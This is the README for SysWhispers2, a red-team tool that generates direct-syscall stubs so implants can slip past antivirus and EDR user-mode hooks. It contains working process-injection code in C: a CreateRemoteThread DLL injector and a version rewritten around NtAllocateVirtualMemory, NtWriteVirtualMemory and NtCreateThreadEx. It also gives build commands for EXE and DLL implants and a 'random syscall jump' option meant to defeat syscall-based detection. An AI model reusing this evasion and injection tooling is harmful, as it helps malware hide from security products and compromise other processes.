SysWhispers helps with evasion by generating header/ASM files implants can use to make direct system calls.
All core syscalls are supported and example generated files available in the example-output/
folder.
The usage is almost identical to SysWhispers1 but you don't have to specify which versions of Windows to support. Most of the changes are under the hood. It no longer relies on @j00ru's syscall tables, and instead uses the "sorting by system call address" technique popularized by @modexpblog. This significantly reduces the size of the syscall stubs.
The specific implementation in SysWhispers2 is a variation of @modexpblog's code. One difference is that the function name hashes are randomized on each generation. @ElephantSe4l, who had published this technique earlier, has another implementation based in C++17 which is also worth checking out.
The original SysWhispers repository is still up but may be deprecated in the future.
Various security products place hooks in user-mode API functions which allow them to redirect execution flow to their engines and detect for suspicious behaviour. The functions in ntdll.dll
that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. This technique was popularized by @Cn33liz and his blog post has more technical details worth reading.
SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe
). The headers will also include the necessary type definitions.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Using the --preset common
switch will create a header/ASM pair with the following functions:
Click to expand function list.
- NtCreateProcess (CreateProcess)
- NtCreateThreadEx (CreateRemoteThread)
- NtOpenProcess (OpenProcess)
- NtOpenThread (OpenThread)
- NtSuspendProcess
- NtSuspendThread (SuspendThread)
- NtResumeProcess
- NtResumeThread (ResumeThread)
- NtGetContextThread (GetThreadContext)
- NtSetContextThread (SetThreadContext)
- NtClose (CloseHandle)
- NtReadVirtualMemory (ReadProcessMemory)
- NtWriteVirtualMemory (WriteProcessMemory)
- NtAllocateVirtualMemory (VirtualAllocEx)
- NtProtectVirtualMemory (VirtualProtectEx)
- NtFreeVirtualMemory (VirtualFreeEx)
- NtQuerySystemInformation (GetSystemInfo)
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtCreateSection (CreateFileMapping)
- NtOpenSection
- NtMapViewOfSection
- NtUnmapViewOfSection
- NtAdjustPrivilegesToken (AdjustTokenPrivileges)
- NtDeviceIoControlFile (DeviceIoControl)
- NtQueueApcThread (QueueUserAPC)
- NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
- Copy the generated H/C/ASM files into the project folder.
- In Visual Studio, go to Project → Build Customizations... and enable MASM.
- In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
- Go to the properties of the x86 ASM file.
- Select All Configurations from the Configurations drop-down.
- Select Win32 from the Platform drop-down.
- Set the following options:
- Excluded From Build = No
- Content = Yes
- Item Type = Microsoft Macro Assembler
- Click Apply
- Select x64 from the Platform drop-down.
- Set the following options:
- Excluded From Build = Yes
- Content = Yes
- Item Type = Microsoft Macro Assembler
- Click Apply, then OK.
- Go to the properties of the x64 ASM file.
- Select All Configurations from the Configurations drop-down.
- Select Win32 from the Platform drop-down.
- Set the following options:
- Excluded From Build = Yes
- Content = Yes
- Item Type = Microsoft Macro Assembler
- Click Apply
- Select x64 from the Platform drop-down.
- Set the following options:
- Excluded From Build = No
- Content = Yes
- Item Type = Microsoft Macro Assembler
- Click Apply, then OK.
The following examples demonstrate how to compile the above example programs as EXE and DLLs using MinGW and the NASM assembler:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 outputs a clang compatible .s
file which contains the ASM stubs. This can be used with llvm to compile your code. For example, using the CreateRemoteThread
DLL injection example above:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
The inlinegas output option will generate a header only version of Syswhispers2 that can be used with the compilation of BOFs. Simply include the header in your project.
By using the random syscall jump routine it is possible to avoid "mark of the syscall". The assembly stub calls a new function SW__GetRandomSyscallAddress which searches for and selects a clean syscall instruction in ntdll.dll to use. By doing this, it is possible to avoid triggering userland sycall instructions as well.
To use random syscall jumps, you will need to define RANDSYSCALL when compiling your program and use the rnd version of SysWhispers2's output. The following examples demonstrate using the GNU Assembler stubs.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
- System calls from the graphical subsystem (
win32k.sys
) are not supported. - Tested on Visual Studio 2019 (v142) with Windows 10 SDK.
- Type redefinitions errors: a project may not compile if typedefs in
syscalls.h
have already been defined.- Ensure that only required functions are included (i.e.
--preset all
is rarely necessary). - If a typedef is already defined in another used header, then it could be removed from
syscalls.h
.
- Ensure that only required functions are included (i.e.
Developed by @Jackson_T and @modexpblog, but builds upon the work of many others:
- @FoxHex0ne for cataloguing many function prototypes and typedefs in a machine-readable format.
- @PetrBenes, NTInternals.net team, and MSDN for additional prototypes and typedefs.
- @Cn33liz for the initial Dumpert POC implementation.
- @modexpblog: Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams
- @hodg87: Malware Mitigation when Direct System Calls are Used
- @Cn33liz: Combining Direct System Calls and sRDI to bypass AV/EDR (Code)
- @0x00dtm: Userland API Monitoring and Code Injection Detection
- @0x00dtm: Defeating Userland Hooks (ft. Bitdefender) (Code)
- @mrgretzky: Defeating Antivirus Real-time Protection From The Inside
- @SpecialHoang: Bypass EDR’s memory protection, introduction to hooking (Code)
- @xpn and @domchell: Silencing Cylance: A Case Study in Modern EDRs
- @mrjefftang: Universal Unhooking: Blinding Security Software (Code)
- @spotheplanet: Full DLL Unhooking with C++
- @hasherezade: Floki Bot and the stealthy dropper
- @hodg87: Latest Trickbot Variant has New Tricks Up Its Sleeve
- @JFaust_: Process Injection Part 1, Part 2, and Alaris loader project (Code)
- @0xPat: Malware Development Part 2
- @brsn76945860: Implementing Syscalls In The CobaltStrike Artifact Kit
- @Cn33liz and @_DaWouw: Direct Syscalls in Beacon Object Files (Code)
This project is licensed under the Apache License 2.0.